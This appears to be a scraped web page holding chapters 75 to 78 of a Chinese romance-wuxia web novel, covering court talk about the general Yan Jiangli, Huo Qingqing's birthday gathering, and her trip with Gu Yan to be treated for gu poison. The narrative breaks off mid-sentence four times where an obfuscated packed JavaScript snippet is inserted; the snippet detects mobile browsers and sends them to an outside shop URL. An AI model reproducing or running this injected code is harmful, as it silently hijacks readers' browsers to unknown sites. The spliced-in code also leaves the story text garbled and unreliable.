霍承阳自是明白,明顺帝口中这个他是顾衍无疑。 他也端起茶,饮了一口,才幽幽道:“不如何。若是想娶青青他怕是还不够斤两。” “那霍清风如何?”明顺帝同他闲话家常,两人都心知肚明前些日子有些隔阂,如今却是又变得亲近许多。 “他有那心没那胆,早就放下了。” 雪蕊新芽的杏竹香混在御书房缭缭绕绕的沉香里,融在一起倒是别有一番风味。 明顺帝叹出一口气:“我那两个还未成婚的,可有看上眼的?” “三皇子向来为青青马首是瞻,他那份心思,是把青青当成指路的灯火。二皇子拜在徐大将军门下甚少归京,恐怕也无这心思。” “雁将离如何?” 明顺帝摩挲着杯壁,静待霍承阳回话。 只听霍承阳笑了声:“小辈的事,臣管不着,若是青青自己喜欢,也未尝不可。雁将离性子执拗,好在有青青约束。” “他确是无心朝堂,为一人守关,还望圣上念他一片赤诚,莫再追究了。” 明顺帝心念一动,懒散地半眯上眼撑在桌案上:“霍爱卿既然替他求情,那便不追究了。只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643900|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他手中五万锋锐骑乃是大煜精兵,我予他数年,也当收回了。” “可如今大煜之中,武将难寻,圣上这五万锋锐骑,想给谁?” “清风那孩子手中八万青骑,领兵驻滏南关,这天南地北的,他分身乏术。五万锋锐骑不能无将。” “唉——”明顺帝揉着额头:“大煜无将啊……如今这般乱像,想找一人提拔都无从下手。” “林阁老那孙子,在锋锐骑中历练得如何?” “林豫?”霍承阳一顿,慢慢道:“他还需历练,军营之中哪里是这么好混的。他才呆多久,领兵打仗,他还差得远。如今朝中除去清风和将离,还真是挑不出人。” “圣上,且再信臣一次,将离自那时爬起来,此生便只为青青而已。” 话至此处,两人心照不宣,明顺帝闭上眼,许久才笑道:“罢了。小辈的事,我们老一辈看着便好了。况且,那贺乾两年前才谋反,命人冒充安平王遗子割首。可雁将离……他怕是,贺乾的弃子。” “此事,你们一早便知晓?为何瞒而不报?就这么怕我杀了他?” “这不是,去岁才查出来。在未明了他心意前,怕把他逼得恨了,对圣上不利。前些日子,他回京,倒也是无畏生死。青青救他一命,便不会再轻易将他毁了。” “青青亦是知晓,大煜无人。将离于武一途,学得虽晚,但刻苦努力,没有过人的天赋却能靠自己爬上来。我予他的助力,微乎其微。” “圣上应当早就知晓他来历不明,不还是将兵权交他手中。那便是信他想用他。” “倘若圣上当真是安了心要夺他兵权,哪里还会找臣一叙?” 明顺帝连连摆手,笑道:“你们霍家人,一个比一个精明。” 这番话说下来,霍承阳亦是松了一口气。 雁将离的身世,是青青一直担忧的,每次他归京,她便不能安睡。 他们呆在一起的时日长,雁将离又为救青青伤过,查出来时,青青也曾试探过他。 那时雁将离,承认得坦坦荡荡。 是又如何?最后还是事在人为。 他没有坐上至高之位的兴趣,杀父之仇……他只算在徐从风头上。如今这么些年过去,他心底又被青青带出一丝善念,不忍家国再起祸乱,只愿守关护青青。 青青所在意的亦是他在意的。 别的,便都另谈。 “你叫青青,多约束他些。上次朝中见他,戾气太重。若那一天当真起了心思,就休怪我不留情了。” “若真的要论,他还该叫我一声皇叔。” 也算得认下雁将离这个侄子了,如此约束雁将离倒也好说。 “既如此,臣便好生同青青说说。圣上可还有什么想问的?” “有,让青青抽个时日入宫陪陪小婉,她许久未见青青,又想看看了。” “太傅年纪也大了,叫他别闲得没事游山玩水,好好养身子才是。徐从风那边,他怕是还是心有隔阂,那朕就赌,就拿大煜赌他善心。” 霍承阳躬身退下。 徐从风那人脾性不好,但偏偏是前朝重臣,与先帝情同手足。先帝曾下了死令不得夺他兵权,如今几方僵持,他亦无动静,也不知自家那老爷子能不能说动他。 唉,这边有人要抢他乖女儿,那边有人虎视眈眈。 如今大煜,不过是缝隙里挣扎着给百姓造出一个安宁的梦。 这梦何时完,何时破碎就不知道了。 75.生辰日 霍青青今岁生辰日与往年不同,没再摆去岁那么些许多御酒。不变的是门口摆下的迎百姓的流水席。 等宾客尽来,唯独不见顾衍。 霍承阳同自己门下新进的门生寒暄几句就去后院同霍青青坐在一处。 后院里瞧着比前院还热闹些。 因着这些江湖人不爱同朝廷中人呆在一处,便自己在后院起了桌子喝酒吃菜。 有人聚在一处,不消片刻有人切磋起来,打得兵戈声阵阵,霍承阳看着有些犯头疼。 这些人都算得是青青好友,青青约束着,总归闹不出什么大事,也就罢了。 一堆人聚在一起,总喜欢聊些有的没的,莫天俞跟柳三爷在一处划拳拼酒,两人阵仗大,不多时就情绪高涨,眼瞧着就要一脚踏上桌子就被兰浔紫绫一打,两人飞速退开去。 “兰楼主,你这叫偷袭。”莫天俞还端着一杯酒,那杯酒被他握得稳稳当当,没有洒出半滴。 方才是该他喝了,他端起酒杯仰头喝尽,还倒过来给柳三爷看。 柳三爷嗤了一声,道:“再来。” “你们小声些,小青儿怕是困了。”兰浔的紫绫出袖一人轻抽一下。 她这一句话顶十句,后院立时安静下来。 都转头看向主位的霍青青。 见她果真阖眼撑在桌子上,便也不再闹腾了,低声聊着这些日子江湖中的八卦。 有人拿眼偷偷看了莫天俞一眼。并非其他什么,而是近日里江湖中传得最广的莫过于他同十三楼新进的杀手。 十三楼新进了个杀手,似是不常在楼中,而是行走在外接些杀人买卖,也做点楼中事务。 江湖里人人都听十三楼大名,听莫家庄少庄主小天魁莫天俞双鞭如龙,还听玉楼春楼主兰浔长绫无匹。 可那人似是都不甚清楚,应当是刚入江湖没多久的新手。据说她一日里外面行走时接了莫天俞的人头单子,她也是胆大,一人一刀就往莫家庄去了。 后面她跟莫天俞和莫家庄的护卫打起来,动静闹大了,她许是见得不了手,耍了个花招躲过莫天俞双鞭趁机一刀砍在莫天俞肩膀上就跑了个没影。 后来……查着查到十三楼,莫天俞找到兰浔兰浔召来那杀手,两个人越看越不对付,差点又打起来。 还是兰浔一人一下给按住了,给了莫天俞治伤的银钱了事。 只是这般,也没什么说头,可偏偏那杀手转头又接了买卖,杀了莫家庄盯了许久的对家抢了莫天俞的功。 这一来二去,莫天俞总吃瘪,吃瘪吃多了就遍地找那人,安了心要拼个你死我活。 如今好了,人寻不到,莫天俞越发憋屈,天天在莫家庄到处抓人跟他比武,搞得莫家庄这些时日鸡飞狗跳,现在莫家庄中人看着他提上双鞭就跑。 莫天俞轻哼一声,周边看的人立时转头过去,他们什么都不晓得。 “天俞,还记着呢?” 霍青青睁开眼眸,见莫天俞神色复杂打趣了一句。 莫天俞连连摆手:“霍楼主莫笑话我了,我这脸都丢没了,难捡起来得很。” 他能哼别人可不能哼她,被别人打和被十三楼那群疯子打还是不一样。 “晚些,我吩咐下去若是看到她了让她上你们庄子赔个礼,十三楼再允你一件事,如何?” 莫天俞一听眼睛都亮了,能得十三楼一个允诺,他这些天的气也算没白受。 他爽朗一笑,郑重拱手:“那莫某就恭敬不如从命了。” “小天魁,你这叫得了便宜还卖乖。” “去去去,有本事你也得个便宜。”莫天俞睨说话的人一眼,见是霍七,提着酒就径直走过去:“来,跟我喝酒!” 霍七连忙躲闪,躲到霍青青身后才站直身子挺直腰杆:“我今日是守着楼主的,小天魁还是另寻他人撒气吧。” 霍七一句话引得许多人笑起来,莫天俞一个冷眼扫过去没人怕的。 今日这日子,有霍楼主坐镇,来人胆子都大起来。莫说莫天俞这话,就是当今皇帝说话,他们都不带怕的。 莫天俞提着酒晃荡了这一圈,见没其人陪他喝只得骂骂咧咧跟自家莫家庄那几个吃饭去了。不消片刻,他那桌就又开始行酒令。莫家庄人人都称千杯不醉,如今一看,也是名副其实了。 后院里又闹腾起来,霍七在霍青青身后压低了声音问道:“今日那顾衍没来见楼主?” 霍青青浅酌一杯酒,才悠悠道:“他说诏狱有事,要先审人,怕是赶不及。” “唉,看来做官也不容易,还没我这个堂主清闲。”霍七揉着脖子。 本来今日轮不到他守楼主。结果锦屏被叫去前院帮忙,霍十一被楼主打发去同楼里人喝酒,兰浔要看着那些个喝高了的人免得他们闹事。 如此这般这好差事这才落到他头上。 守着楼主多好。 楼主在京都,十三楼里除了京都据点的人都离她远,楼主如今身子骨不好走不得远路,有人想见她都难得很。 等再过些时日,他也得再往陵水那边去重新打理据点再给楼主整合消息送来。 跟着楼主好得很,楼主大方还不会拘着他们,就是楼主身边人多难挤。 “霍七,在想什么?”霍青青的声音传来,霍七只听着楼主腕间玉镯子碰撞的声音。 这个距离,能嗅到十三楼中常放着的薄荷香,楼主的又同十三楼中的不一样,是医老特制的。 霍七坦荡荡:“在想医老是不是在楼主的香囊里多加了什么,闻着比楼中的要好。” “医老给加了其他的几味药,说是我戴着这个好些,不若晚些我写一份你带回,若是楼中他们也喜欢就去铺子制些替换” 霍七闻言连连点头,随后笑道:“我就知道楼主大方。” “若非你问,我倒是都忘了,据点里那薄荷早该换了。”霍青青一手撑在桌案上,看着院中热热闹闹的,心里也暖起来。 只是……这般热闹,霍清风和将离还在边关守关,顾衍也还在镇抚司,他们三人才最是该沾点人气的。 “霍七,陵水那日你可猜到神使是谁?” 霍七被她问了个措手不及,愣怔许久才道:“神使,不是已经被关在诏狱了吗?” “是啊,关在诏狱了。”霍青青声音放得缓,她的手落下去轻轻勾起腰间佩环,听着佩环叮当声响才觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659252|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得好些。 “她既已关在诏狱,那楼主,还有什么可担忧的?”霍七端起一盏茶饮上一口,待他放下茶盏见着霍青青兴致似是低落下去,又慢慢道:“楼主不应这般操劳的,长生教蛊惑人心,搅得民间不得安宁,不论是谁都该为此付出代价。” “嗯。那你再说说,人为何会这般?为何要去蛊惑人心残害无辜之人?” 霍七宽慰着:“不是人人都那么无私的,上至百官圣上,下至百姓乞丐,谁敢说自己没有私心?稍不顺意,正邪可不是就在一念之间吗?许多事找不到由头的,就是那心里一念罢了。” “我初时就觉得你看事通透,我还是没有看走眼。”霍青青不由笑了,霍七来时她就觉得此人有意思,才赠他欧阳锋的剑。 “楼主谬赞了,我啊,就是觉得不想让楼主费太多心思。”霍七抱着他的剑,站在霍青青身后,垂眸看着她落在椅子上的青色衣袂。 楼主总喜欢穿一袭青裙,生辰日也是这一身。楼里人总喜欢许多楼主喜欢的东西,他也曾问过为什么,许多人都答他们没什么特别喜欢的,就是喜欢楼主,其余的,便是爱屋及乌。 楼主喜欢逛园子,楼里空地就修院子。楼主喜欢马蹄糕,带得许多人都爱吃。楼主喜欢吃些各式各样的小食,楼里就隔三差五做了送给楼里人。 上到十三楼总据点,下至各处小据点,都爱做点楼主喜欢的分吃了,也当是给楼主备着的。 指不定什么时候楼主就逛到他们据点,届时还能好生招待楼主。 “楼主是不是有些乏了?我去叫锦屏给楼主收拾了去小睡一会儿?”霍七见霍青青似是困倦得很了不由微俯下身将她手边的酒盏推开了些,以免洒出来脏了她衣衫。 “是有些,去叫她吧。霍七,你好好同他们聚聚,晚些时日若是回陵水,记得……查人。” 霍七顺着霍青青的视线望去,正看见何桃在远处一方桌子上吃得正欢。 霍七点头:“是,属下记得的。” 霍青青回屋子后洗漱一番便躺下了。 不多时许多事就满脑子乱窜。 那何桃,十三楼暗查了这么些时日只查出她是陵水本地人,后面与她自述的一般无二。 只是那叠罪证,又是从何而来? 或是……将离查的? 霍青青闭目许久,脑中乱七八糟的也想了许久。听着外面喧嚣渐歇才昏昏沉沉睡过去。 夜里天黑尽了,她才恍惚觉得有人翻上榻来。 她一把拽住来人的衣襟,只瞬间就把他带倒。 “顾大人,怎的又翻墙了?” 顾衍微动了下便侧身过来抱住她,他将头抵在霍青青肩头,轻嗅着那点薄荷香。 “今日好累,没赶上我家霍姑娘生辰,还请霍姑娘恕罪,容我解释解释。” 霍青青眉一挑,伸手摸进他衣襟。 深秋的天气她的手冷得吓人,刚摸进去就激得顾衍身子一颤。 也只片刻,顾衍就适应了,几下将她的手捂热。 “我还说霍姑娘没生气,原来在这儿等着我。”他把霍青青的手握在手心,末了又蹭上自己的脸:“霍姑娘还生气呢?” 76.向自由 “没生气,只是在想顾大人在审何人。” 这几日并未听闻诏狱来了什么难撬开的,多是查到确凿证据才扔进去。 只怕是……宋世荣那方的人罢。 黑暗里看不清什么,顾衍只叹了口气:“霍大人当真是查案好手,前日里一连扔了好几个人过来。千叮咛万嘱咐要我亲自审了别给他们钻了空子。” “霍姑娘,你爹不待见我啊……” 霍青青抬手捏他下巴:“我爹那也是为了以防万一,顾大人还有什么要说的吗?说给我听听,说不准我明日还能给顾大人讨个公道。” “罢了,霍大人也是秉公办案为百姓谋福,这些人扔给我便是信我。”顾衍说着话声音又低下去:“圣上不下旨,未到提亲时,霍姑娘,这如何是好?” “顾大人,这我可没法啊……”霍青青勾着他垂下来的几缕发。 虽说他们二人无所谓什么礼法,但还得看看如今是个什么时候。若是把有些人直接逼得狗急跳墙还好,就怕一下清理不干净留了后患就麻烦了。 “不若……霍姑娘给我立个字据?”顾衍看着她的眼眸发亮:“霍姑娘欠我那六千六百六十六两该还了。再给我另立一张字据,就写,霍家青青欠顾衍的六千六百六十六纹银每月还十两,直到还清为止。” 霍青青一愣,心里一盘算有些哭笑不得,这都什么啊? 偏偏顾衍还说得一本正经。 这不像是还债,倒像是给他发月银。 顾大人可真是…… 顾衍见她笑了,才松了一口气:“霍姑娘这下可高兴了?” “嗯?” “我备了生辰礼,既还未到子时,也算得没有错过霍姑娘生辰。” “是什么?”霍青青眼前有些模糊,索性闭上眼往他身侧又靠了靠。 “上次能给的,都给了。这次是当真只余下这条命。是生辰八字,若是霍姑娘看得上,就收下。若看不上……”顾衍顿了顿,压下声音道:“若看不上……那也无碍。” “顾大人,总说些违心的话就不怕我当真?” “怕得很,这不是知晓霍姑娘聪明知我吗?” “不说笑了,霍姑娘可想好几时去世外谷?最好今岁便去,将身子养好些。明年怕是会乱起来。”顾衍敛了笑意,如今宋世荣是当真蠢蠢欲动了,他倒也不怕其他,只是若真的乱起来,青青如今这副身子骨,怕是有些撑不住。 他知她性子,她定然不会丢下任何一个人。 “那过几日便开始收拾行囊吧,轻车从简便好。我这方不必担心太多,有十三楼帮忙遮掩,料想宋世荣察觉不到。反倒是顾大人你,那次去青州再是后来往陵水,都是影坐镇京都。那日里为了替我脱罪,这次怕是不好躲过宋世荣的眼线。” “没什么,有霍大人助力,如今宋世荣被他搞得折了好些人,每日里都想着如何帮着他手底下的人躲过他的搜查。怕是也没那么多心思来堵我了。” 霍青青闻言闷笑一声:“好啊顾大人,我爹既帮了你,你还来我这儿告他的状。” “好了,不同霍姑娘说笑了。夜深该睡了。等收拾好行囊,我便一路送你过去。近日飞雪和破月都养在我府上,不若直接差人在城外备马车罢。” 山遥路远的,来去怕是又得月余,还得休养好一阵儿。 霍青青点点头,已是困极。 “睡罢,霍姑娘,好梦。” …… 第二日晨间,等霍青青醒时顾衍早翻墙出去了。 霍府这院墙被他翻来翻去,那处院墙下霍青青都没敢种她的宝贝花草。 也不知……边关如何了。 霍清风早些将信送到说是待他回来给带些生辰礼。 可……将离的信件一直未曾寄来,派出去的人已去了月余,算算日子,至多再过两月也该回来了。 那便再等两月。 若两月还未回来,她怕是要去白沙关走一走了。 也正好,快些启程去世外谷。 两成啊…… 霍青青捻着一页书页,极缓地翻过一页去。 这是今日锦屏新买的话本,说是上面有新的戏文,她眼下闲来无事,也就想起来翻翻看。 翻开第一页,还是往日里那些民间杂事,后面便有……她那十三楼新进的那个杀手,近日里风头正盛。同小天魁莫天俞一来二去打得不可开交,如今话本子上都多写了两三页,说是打了上百回合都未分出胜负。 霍青青不由得笑笑,无怪莫天俞那般生气。 莫天俞在莫家庄是少庄主,在江湖上人人都尊一句小天魁。到得她家十三楼杀手那里,却一概不知了,莫天俞自是觉得在骗他。 打又打不过,骂了又不听,莫天俞少年成名,如今虽已至弱冠之年,但亦是少年心性,那双鞭无往不利,自是傲气得很。 从前他败在她破甲锥下一次,输得心服口服才同她称兄道妹,与十三楼行方便。 如今又败在十三楼手里,可真是…… 也不知这两人后面会如何收场,有她在中间顶着,应当不会闹得太难看才是。 再多翻翻便是旁的一些小道消息,也不知是哪里流出来的,五花八门,写了满满一页。 她还未翻看完,就听着锦屏送来饭食,今日便在院子里摆下就好。 疾风骤雨如今都送去滏南关陪着霍清风征战,若有要事还能借它俩送个信。 昨日里许多人歇好了后便陆续告辞,今日里院中安静下来,一时还有些不适应。 好在兰浔不多时就从外间回来,看着一桌子吃食大大咧咧在桌边坐下,她拈起几块糕吃了喝上一盏茶水才缓过劲儿来。同霍青青说道:“小青儿,我早些去了一趟这边主街,见有一间空铺子想盘下来做点胭脂生意。” “就在主街左边横数第三间。” “我今日看了,京都这方胭脂铺子都开在西街,主街这边有钱大户爱走,若是开个胭脂铺一年定能净赚几百两银子。” “小青儿,你觉着如何?” 霍青青看着她兴致勃勃的模样不禁莞尔:“阿浔觉得好,盘下来便是,主街的铺子……千两可够了?” “可还需其余的银子?” 兰浔连连点头:“够了够了,千两都有余,剩下的拿来做工钱都得用好久。小青儿,你可知你如今手中的银子有多少?还有那些铺子歌楼田地庄子。里面旺铺不少,更莫说那些个歌楼一月的盈余。” 听兰浔这么一说,霍青青反倒是犯了难,她蹙着眉:“已许久未曾清点过了。” 见她这样,兰浔毫不意外。 十三楼的消息归她理,账目归她管,莫说小青儿手中,就是她自己手中,这些年攒下来的月钱都够盘下好几间旺铺了。 兰浔摆摆手:“算了小青儿,你只需知道,你的家资比你们国库都多好多了。大煜上下,唯你才称得上富。” 朝廷里的人,穷得她都不想说。 霍青青捧着热茶听她絮叨,从青州玉楼春说到之前新开的另一间玉楼春。听着她说那家玉楼春里招了些新人,那些姑娘琴棋书画样样精通。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667003|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说到她手中的好些旺铺,凭给别人种着的田地,还有那些空置的庄子。 兰浔惯爱这些,她最是喜欢听银子哗啦啦的声响,她说银票子太轻了,哪有这些银锭拿着安心? 她是从前被关在高门大院,一月里都见不着什么银子。她只知有钱能使鬼推磨能给那些家丁让他们待她好些,遂如今也觉得有银子傍身才是最安心的。 她是被关怕了。 兰浔喜欢银子喜欢开铺子,她就由着她。 时日一长,许多人都说霍楼主还是最喜欢兰浔。 她每每听见,也不反驳,只因阿浔真心。阿浔赚银子也不为别的,都是在为她攒家资。 如今的世道里,皇伯伯虽推新政,女子的路好走了许多,但还有那许多人都把女子看得太轻。 士农工商,女子又有哪一个做不得? 阿浔便是表率。 她十三楼又有多少女子? 只是那朝堂中,鲜少有女子罢了。 再说青州学宫里,男女皆收,只待有那一个入朝为官的女子,便能掀起新的天地。 她那皇伯伯非迂腐之辈,否则也不会推那些利好女子的新政。 那这第一人……若是当真没人,她做做也无妨。 许多事都得有人去做,有人做了才会有第二个第三个。 如南宫案重审,齐家当先,才有淇河文人纷纷为之申冤,声讨长生教。世上的人,多有鼠胆之辈,但若是混在一众人里,也会试探着伸张正义。 女子入朝,还需一个契机才能开这个先河。 “阿浔,你可想入朝为官?” 兰浔的声音戛然而止,不可思议地看着她:“小青儿,你说什么?” “没什么,就是问问你。想破世俗眼光,我们还需一把火。”霍青青摩挲着微凉的杯壁,看着她认真道:“你若是想,便去青州学宫那方。” 兰浔愣了许久才笑出来:“不要了,我若是入朝为官,那小青儿,你的铺子我可就管不了了。还是管着我家小青儿的铺子要轻松些。” “也是,我家阿浔,不该被朝堂那些破规矩拘着。”霍青青垂下眼睫,是她想岔了。 兰浔涂了红蔻丹的手指点在霍青青额头:“你还知道。” 霍青青连连讨饶:“知错了知错了,我家兰楼主。” “哼。”兰浔轻哼一声,想起什么又凑过来问道:“你当真不要雁将离了?” 霍青青伸手捏住她的下巴,桃花眼眯起:“我几时说不要将离的?” “别贫,你明知我不是问那个。”兰浔挣脱开来,拿了一块糕塞进霍青青口中,凤眼一挑:“你就那般喜欢顾衍?” 霍青青被她问得一愣,旋即笑道:“倒不是别的什么,我觉得该是他。初时,我本想着,师父让我拉他一把,我便当送个人情。只是后来,你也知晓,经历过这许多事。也能看清这个人如何。” 她摩挲着自己腕间两个玉镯子,接着道:“我同将离,你也知,我是当真没起旁的心思。也同将离说过。” “我……他过得太苦了,我只能将他从那泥塘子里面拖出来让他忘记那些往事。” “我想让他为自己活一次。” 兰浔看着眼前又长了一岁的霍青青,才恍然想起。 是啊,她家小青儿总是能看透人心,总是对旁人太好,好到许多人都辨不清她的心思如何,只把她当成前方那盏不灭的灯火,藏下自己心中那份不明心意的喜欢。 她也忘了,小青儿将她从府里拉出来时,便是想让她为自己而活。 77.烟波里 往世外谷行时,说是轻车从简,却还是安排上许多东西。 按说来去都麻烦,兰浔便早些差人让十三楼据点的人都留意些。 霍十一一早便同辰砂候在郊外。 等霍青青到时,顾衍正跟他们对峙。 “他们,怎的?”霍青青转头问锦屏一句。 锦屏连连叹气:“顾大人说要快马出京都地界,他们不肯。” 见着霍青青来,霍十一才放松些,带着辰砂站到她身后,低声道:“姑娘,得慢些。” 怕是锦屏同他们说的,霍青青略沉吟,如今确是该快些出京都地界才是。十三楼在城中有据点,可一出了城就得到远些的嘉阳城才能歇歇了。 “走罢,我无碍。养了这些时日,快马一程倒也撑得住。辰砂同锦屏慢些来便是,十一,你随我一同纵马吧。” 霍十一睨了顾衍一眼才将飞雪牵过来。 “还是将飞雪带来了啊。”霍青青摸着飞雪的马鬃,利落地翻身上马。 “我想着你习惯些,今早带飞雪出来是废了些力气,破月也不肯,眼下怕是在折腾宋无忧。”顾衍翻上一匹大黑马的马背,轻轻一扯缰绳,这马可及不上飞雪破月。 恐怕晚些还得比霍姑娘慢些。 “走了。”霍青青一拍飞雪的脖子,飞雪会意,撒开马蹄子就朝前奔去。 霍十一不知何时已经纵马奔了出去,顾衍重重叹了一口气,霍姑娘身边的人果真都不待见他。 三人快马,自微光晨曦里行到艳阳高挂时,已出了京都地界。再行些时候,待明日便能到嘉阳城了。 一路上霍十一和顾衍不对付,两人离得远,都落在后面紧紧盯着霍青青,生怕出岔子。 好在霍青青一路下来也没什么异样,中间歇下来约摸半个时辰就又启程。 见着他俩模样,歇下来喝水吃干粮的霍青青无奈起来,她扯了扯顾衍的袖摆:“顾大人。” 顾衍在霍十一眼皮底下握住霍青青的手扣住,低下头同她耳语道:“是他先的,霍姑娘明察。” 霍青青把他的脸拨开些,朝着霍十一道:“十一,再歇片刻,便又该启程了,你好生歇歇,莫跟顾大人计较了。” 霍十一看着她许久才低下头去,同他们再歇了片刻,踌躇着道:“我不是跟他计较,我是想说……” “十一。”霍青青打断他的话,起身牵了飞雪:“又该启程了。” 霍十一第一次大着胆子拦下她:“不行。” 他深吸一口气,道:“姑娘啊……再歇歇。” 顾衍此时才觉察出来,霍青青的气息是不稳的,不像是因着生气。 他明白过来,霍十一常侍在青青身边,只怕是早就觉察出来青青不对劲儿,这才拦下她。 等他想明白了,一时气起来。 今日快些纵马只是为了出京都地界,如今出了,霍姑娘又赶着上路。每次都是如此,累了不说痛了不说,那日里他当霍姑娘松了口知道同他说痛了,如今怎的又回去了? “顾大人,我无碍的,走罢。我们需快去快回,耽搁不得。” 霍青青说罢就要翻身上马,谁知手腕被人一把拽住。 顾衍将她带上飞雪马背,一拉缰绳,飞雪扬蹄跑起来。 他顺手给霍青青提了披风挡风,一路跑得平稳,没再多言语。 霍青青扣住马鞍边缘,靠在他身前也没说话。 就这样跑出很远,跑到入夜方才停歇。 他们在一处树下又停下,顾衍伸了手将她抱下马。 还未等霍青青说出什么拒绝的话,他就将她好生放在一处青石上,蹲下身来给她整理着微乱的下摆。 他将那绞在一处的佩环解散理好才抬头问道:“药呢?” “没有。”霍青青别过头去不看他。 “霍姑娘,吃药好不好?” 霍青青手一撑自青石上跳下来,青色衣袂翩飞着自顾衍身侧走过。 “我说无碍便无碍,你听他的还是听我的?我曾与将离千里奔袭都无碍,你以为他千里奔袭是跟谁学的?” 还未走出几步,霍青青只觉手腕一紧被人拉入怀里。顾衍的声音在她头顶响起:“霍姑娘,你真真是把人的心扎得透透的。” 霍青青微微张口又闭上,听着顾衍叹息一声接着道:“我曾说了,我是武将,有些时候照顾不好你,你要同我说,我也慢慢学。过了这么些时日了,怎的反倒退回去了?” “我知晓你也是执拗的性子,但是总不能不顾自己的身子。不必这么拼命的,天塌下来这不是有我有两个霍大人还有你那皇伯伯顶着吗?” “下次,下次……别拿别的人来气我了好不好?”顾衍的手又收紧许多,一点点磨蹭过来,下巴蹭在她脸侧。 干燥温热的唇擦过她耳畔时顿了顿落在她耳根:“你的身子要紧,他们也都知晓,走前他们都同我说以你为先。所以,霍姑娘也乖些,该吃药吃药,该纵马纵马,慢点没什么。” 还未等顾衍反应过来,就被霍青青反手扣住后颈,接着就觉着唇上一痛。 他一时不察被推开好几步,马上又追上去。 他在她身边笑道:“霍姑娘不生气了?” 霍青青吞下一丸药,瞥了他一眼:“我哪里生气了?明明是顾大人自己先跟自己生气。” “是,是我说错了。我同自己生气殃及了霍姑娘,那我给霍姑娘赔个不是,霍姑娘看看要不要原谅顾某?” “不原谅,扣你这个月月银。” 说罢,霍青青便转身走了。 顾衍一时僵住,他每个月俸禄都交上去,霍姑娘每月还他十两银子,如今还给扣了。 想来这个月没法子给霍姑娘买些小玩意儿了。 可再想想,去世外谷那方,应当也要不了多少银子。 …… 世外谷这方虽四季如春,但这个时节里崖壁上打了霜,望去尽是银白色。 顾衍将霍青青抱稳了才翻下山去。 等他带着人进了谷,恰逢遇上周婆婆背了一背篓柴火,顾衍便笑着打了招呼:“周婆婆。许久未见,可还好?” 周婆婆上上下下看了一遍才记起来:“哦,是小顾啊,我好着呐。” 不多时,她又看到顾衍牵着的人,是个漂亮的小丫头。看着不过十几岁的模样,穿着一袭青裙,腰间系了通透的玉佩环。一通瞧下来,让人舒心。也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周婆婆乐呵呵地坐下来同他说话:“方才青丫头问我小顾是怎么找到这里的,我没告诉她。” “小顾上次走时就同我说,他家那姑娘心思缜密,怕我说什么多的话教姑娘心疼。我就也没多说。” “顾衍如何,与我没甚么关系。我是心疼姑娘,这般来此,姑娘身子快撑不住了。”霍十一劈好柴,又重新摞好,他握紧手中的柴刀,最后将那柴刀顿在木墩上:“只望……毒医能治好她。她体内蛊毒拖得太久,如今已愈发严重。” “她自己知晓,却还强撑着纵马。他顾衍凭什么?”霍十一低吼出声,强压下心中翻腾的怒意:“顾衍口口声声说喜欢姑娘,他看不到么?” 周婆婆叹了一口气,只能宽慰道:“小顾心思灵透着,许是关心则乱。蛊毒要拔除不易,饶是活神仙都没有十成的把握。如今来这里,小顾心里怕也是乱的很。” “他天不怕地不怕的,连死都不怕。可方才我瞧着,他有些怕了。” 方才她看得真真的,小顾攥着青丫头的手走时,小顾的手都在抖。 蛊毒本就五花八门,她来了世外谷这些年同活神仙一起住着,也知晓几分。 若是厉害的蛊毒,活神仙亦不能全部拔除。 霍十一沉默下去,将腰间的剑解下来抱在怀里。 又是许久,久到周婆婆都以为他睡过去才听着他低声道:“可我也怕。” 78.问长生 蔺弃果真是傍晚才醒,他开门迎了来人,见霍青青模样不由靠在门口笑了声:“杏林老怪家的小丫头吧,养得不错,应当能经得起这些毒物折腾。” “进来吧。” 屋内收拾得干净,桌案上还放着一摞书。 他站在架子前翻找着,自乱七八糟的书后找着一个罐子。 “这罐子里的毒物,可是难寻得很,如今找给你治了毒,若是成了可要寻新的来赔我。” 蔺弃一边说着,一边瞥了顾衍一眼:“你,不带你家丫头坐下,愣着做甚?” 顾衍没说话,沉默着带着霍青青坐在桌案前。 霍青青见他眉头微蹙,不由低声笑道:“顾大人,别怕啊。” “当真……只有两成吗?”顾衍转头问蔺弃,他手下微抖握住霍青青的手微微收紧。 蔺弃一顿,冷笑一声:“爱治治不治滚,我说了多少遍了就两成。这丫头都不怕你怕什么?她若当真死了你陪着她不就得了?” 他一扬手中陶罐:“丫头,治不治?” 